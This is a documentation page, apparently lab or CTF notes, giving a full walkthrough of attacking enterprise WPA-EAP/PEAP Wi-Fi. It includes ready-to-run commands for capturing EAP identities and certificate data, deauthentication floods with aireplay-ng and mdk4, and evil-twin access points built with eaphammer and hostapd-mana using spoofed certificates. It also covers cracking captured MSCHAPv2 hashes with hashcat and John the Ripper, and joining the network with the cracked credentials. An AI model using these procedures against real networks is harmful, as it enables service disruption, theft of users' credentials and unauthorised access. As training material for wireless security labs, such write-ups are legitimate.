> For the complete documentation index, see [llms.txt](https://wifi-hacking.cavementech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wifi-hacking.cavementech.com/enterprise-wifi-hacking-mgt-eap-peap.md).
# Enterprise WIFI Hacking MGT/ EAP-PEAP
### Introduction
Enterprise networks use centralised authentication. Your goal is to identify user identities and perform an Evil Twin attack to capture credentials.
***
### EAP Hammer Automation
#### Phase 1: Task 1 - Reconnaissance
In this phase, you will identify the username, EAP type, and certificate details being used by the target. **We need to capture EAP handshake**
* Enable Monitor Mode:
`airmon-ng start wlan0`.
* Locate the Target: Scan for the Enterprise network: `airodump-ng --band abg wlan7mon`.
* Capture Traffic: Lock onto the channel and BSSID to save a pcap
```
airodump-ng -c 44 --bssid 02:00:00:00:04:00 wlan7mon -w peap_recon --output-format pcap
```
#### **Simpler Deauth (You dont need to worry about client. You can deauth all)**
```
aireplay-ng -0 10 -a F0:9F:C2:71:22:12 wlan0mon
```
* `aireplay-ng` → Part of the **Aircrack-ng suite**, used for packet injection.
* `-0` → Specifies a **deauthentication attack**.
* `10` → Number of **deauth packets** to send (in this case, **10 packets**).
* `-a F0:9F:C2:71:22:12` → **BSSID** (MAC address of the target AP).
* `wlan0mon` → The **wireless interface** in **monitor mode**.
**Deauth cheatcheet**
```
# Send deauth to trigger handshake capture
# -0 1 = send 1 deauth frame (gentle)
sudo aireplay-ng -0 1 -e ${essid} -a ${bssid} -c ${client} wlan0mon
# If no handshake, try broadcast (all clients):
sudo aireplay-ng -0 1 -e ${essid} -a ${bssid} wlan0mon
# If still no handshake, try continuous:
sudo aireplay-ng -0 0 -e ${essid} -a ${bssid} wlan0mon
# Press CTRL+C once you see "WPA handshake:" in Terminal 1
```
Look for the WPA Handshake in the Notification
* Analyze in Wireshark: Open the capture and apply these filters to find sensitive data:
* Filter 1: `eap` (to see general EAP traffic).
* Filter 2: `eap.type` (to confirm it is Protected EAP (EAP-PEAP)). Knowing the supported method dictates your next move. For example, if the server supports PEAP or EAP-TTLS, you can proceed with the Rogue AP (Evil Twin) attacks
* Filter 3: `eap.identity` (to find the username, e.g., ).
* Filter 4: `x509af.subject` (to gather information on the server certificate).
We can also use Tshark to extract this information
```
tshark -r peap_recon-01.cap -Y "wlan.bssid == 02:00:00:00:04:00 && eap && tls.handshake.certificate" -V
```
or to be specific
```
tshark -r peap_recon-01.cap -Y "wlan.bssid == 02:00:00:00:04:00 && eap && tls.handshake.certificate" -V | grep "rdnSequence:" -A 1 | head -n 20
```
Finding the identity with tshark
```
tshark -r ~/wifi/scanc44-01.cap -Y '(eap && wlan.ra == f0:9f:c2:7a:33:28) && (eap.identity)' -T fields -e eap.identity
```
we can use Wireshark filtered by “eap” and look for packets with **“Response, Identity”.**
#### Alternate method to check authentication type
Once we have a valid user we can force each of the EAP authentication methods to verify which methods the AP supports. We can use “[EAP\_buster](https://github.com/blackarrowsec/EAP_buster) ” for this task.
```
cd /EAP_buster/
bash ./EAP_buster.sh wifi-global 'GLOBAL\GlobalAdmin' wlan1
```
***
***
#### Phase 2: Task 2 - Evil Twin Attack
Now that you have the username and certificate details, you will create a malicious AP to steal the user's password hash.
1. Stop Collection:
`airmon-ng check kill`.
2. Create a Look-alike Certificate: Use the Eaphammer wizard to generate a certificate that mimics the target:
* `cd /home/rogue1/opt/eaphammer`.
* `./eaphammer --cert-wizard`.
```
[*] Please enter two letter country code for certs (i.e. US, FR)
: US
[*] Please enter state or province for certs (i.e. Ontario, New Jersey)
: LV
[*] Please enter locale for certs (i.e. London, Hong Kong)
: Strip
[*] Please enter organization for certs (i.e. Evil Corp)
: SweetBiz
[*] Please enter org unit for certs (i.e. Hooman Resource Says)
: Help Desk
[*] Please enter email for certs (i.e. cyberz@h4x0r.lulz)
: admin@sweetbiz.org
[*] Please enter common name (CN) for certs.
: radius 1
[CW] Creating CA cert and key pair...
[CW] Complete!
[CW] Writing CA cert and key pair to disk...
[CW] New CA cert and private key written to: /home/rogue1/opt/eaphammer/certs/ca/radius 1-1.pem
[CW] Complete!
[CW] Creating server private key...
[CW] Complete!
[CW] Using server private key to create CSR...
[CW] Complete!
[CW] Creating server cert using CSR and signing it with CA key...
[CW] Complete!
[CW] Writing server cert and key pair to disk...
[CW] Complete!
[CW] Activating full certificate chain...
[CW] Complete!
```
* Launch the Evil Twin: Run the attack to negotiate a connection and capture the MSCHAPv2 hash:
```
./eaphammer --interface wlan0 --negotiate balanced --auth wpa-eap --bssid --essid --creds
```
Or we can have our AP without the same MAC (I think better)
```
eaphammer -i wlan3 --auth wpa-eap --essid wifi-corp --creds --negotiate balanced
```
* Capture the Hash: When the client connects, you will see a NETNTLM (MSCHAPv2) hash in the terminal.
**Deauthenticate the existing Clients**
With “airodump-ng” we detect the MAC of the clients to perform a deauthentication attack. So we do this attack on both clients in parallel. As there are 2 APs we have to perform the attack against the 2 APs, since disconnecting from 1 may connect to the other instead of to our RogueAP.
```
iwconfig wlan0mon channel 44
aireplay-ng -0 0 -a F0:9F:C2:71:22:1A wlan0mon -c 64:32:A8:BA:6C:41
```
Or we can run airodump specifically on single channel and then do the deauth in this manner, the channel will remain the same for airreplay attack for deauth.
```
airdump-ng -c 44 wlan0mon
aireplay-ng -0 0 -a F0:9F:C2:71:22:1A wlan0mon
```
**Option B: Bulk Deauthentication (mdk4) – RECOMMENDED**
This is the most efficient method for Enterprise environments as it can target multiple APs simultaneously.
1\. Create a Target File If there are multiple APs, save their MAC addresses to a list.
```
echo "${bssid}" > /tmp/targets.txt
echo "${bssid2}" >> /tmp/targets.txt
```
2\. Execute the Attack Ensure your interface is in monitor mode and on the correct channel before running the command.
* Method 1: Using the Target File
```
sudo mdk4 wlan0mon d -c ${channel} -b /tmp/targets.txt
```
* Note: The `-b` flag points to your list of BSSIDs.
* Method 2: Deauth by ESSID (Simpler)
```
sudo mdk4 wlan0mon d -c ${channel} -E ${essid}
```
* Note: This targets *all* APs broadcasting that specific network name.
***
#### Phase 3: Cracking the Hash
Once you have the hash (e.g., `Chewy@sweetb.org::::...`), save it to a file named `hashes.txt`.
#### Option A: Hashcat:
```
hashcat -m 5500 hashes.txt /home/rogue1/opt/rockyouwifi.txt
```
#### Option B: John the Ripper:
john jhashes.txt -w=/home/rogue1/opt/rockyouwifi.txt --format=netntlm
### Method 2: FreeRADIUS + hostapd-mana
**Phase 1: Certificate Configuration**
You must modify the FreeRADIUS configuration files to match the target organization's details found during your reconnaissance.
1\. Edit CA Configuration
* Command: `sudo nano /etc/freeradius/3.0/certs/ca.cnf`
* Update the `[certificate_authority]` section:
* `countryName = ES`
* `stateOrProvinceName = Madrid`
* `localityName = Madrid`
* `organizationName = WiFiChallenge`
* `emailAddress = ca@WiFiChallenge.com`
* `commonName = "WiFiChallenge CA"`
2\. Edit Server Configuration
* Command: `sudo nano /etc/freeradius/3.0/certs/server.cnf`
* Update the `[server]` section:
* `countryName = ES`
* `stateOrProvinceName = Madrid`
* `localityName = Madrid`
* `organizationName = WiFiChallenge`
* `emailAddress = server@WiFiChallenge.com`
* `commonName = "WiFiChallenge Server"`
***
**Phase 2: Certificate Generation & User Setup**
1\. Generate New Certificates Switch to root to refresh the Diffie-Hellman parameters and build the certificates.
```
sudo su -
cd /etc/freeradius/3.0/certs
rm dh
openssl dhparam -out dh -2 2048 # Takes ~1-2 minutes
make
exit
```
2\. Create EAP User File This file tells the Rogue AP which authentication protocols to negotiate with victims.
```
cat << EOF > /tmp/mana.eap_user
* PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 "pass" [2]
EOF
```
***
**Phase 3: Launching the Attack**
1\. Create the hostapd-mana Config Save this as `/tmp/network.conf`. Ensure the `ssid` matches your target variable.
```
# === ROGUE AP CONFIGURATION ===
ssid=${essid}
interface=wlan0
driver=nl80211
channel=1
hw_mode=g
ieee8021x=1
eap_server=1
eap_user_file=/tmp/mana.eap_user
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
private_key_passwd=whatever
dh_file=/etc/freeradius/3.0/certs/dh
wpa=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
mana_wpe=1
mana_credout=/tmp/hostapd.credout
```
Better to match channel and use this
```
interface=wlan3
driver=nl80211
ssid=wifi-corp
hw_mode=a
channel=44
auth_algs=1
wmm_enabled=1
ieee80211n=1
ieee8021x=1
eap_server=1
eap_user_file=/tmp/mana.eap_user
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
private_key_passwd=whatever
dh_file=/etc/freeradius/3.0/certs/dh
wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
mana_wpe=1
mana_credout=/tmp/hostapd.credout
```
2\. Execution Reset your interface and start the Rogue AP.
```
sudo ifconfig wlan0 down && sudo ifconfig wlan0 up
sudo hostapd-mana /tmp/network.conf
```
3\. Deauthenticate Targets In a new terminal, kick clients off the real APs to force them toward your Rogue AP.
* By ESSID (Recommended): `sudo mdk4 wlan1 d -c ${channel} -E ${essid}`
* Targeted: `sudo aireplay-ng -0 0 -e ${essid} -a ${bssid} wlan1`
***
**Phase 4: Cracking the Hash**
Once a client connects, `hostapd-mana` will display a hash in the format: `user::::challenge:response`.
1. Save the hash: `echo 'user::::challenge:response' > /tmp/hash.txt`
2. Crack with Hashcat:
Bash
```
hashcat -a 0 -m 5500 /tmp/hash.txt /usr/share/john/password.lst --force
```
Note: Mode `-m 5500` is for NetNTLMv1 / MSCHAPv2.
3. Cracking with John
```
john hash.txt --format=netntlm --wordlist=/usr/share/wordlists/rockyou.txt
```
**Phase 5: Final Connection**
After cracking the password, use `wpa_supplicant` with a `client.conf` file (specifying `key_mgmt=WPA-EAP` and `phase2="auth=MSCHAPV2"`) to connect and retrieve the flag from `192.168.1.1`.
Use this after you have cracked the domain credentials from your Rogue AP.
Sample Config File (`/tmp/client.conf`):
```
network={
ssid="wifi-corp"
scan_ssid=1
key_mgmt=WPA-EAP
eap=PEAP
identity="CONTOSO\juan.tr" # Replace with captured identity
password="bulldogs1234" # Replace with cracked password
phase1="peaplabel=0"
phase2="auth=MSCHAPV2"
}
```
Connection Instructions:
1. Connect: Run `sudo wpa_supplicant -i wlan0 -c /tmp/client.conf`.
2. Get IP: Run `sudo dhclient wlan0 -v`.
3. Get Flag: Run `curl http://192.168.1.1/proof.txt`.
{% embed url="" %}
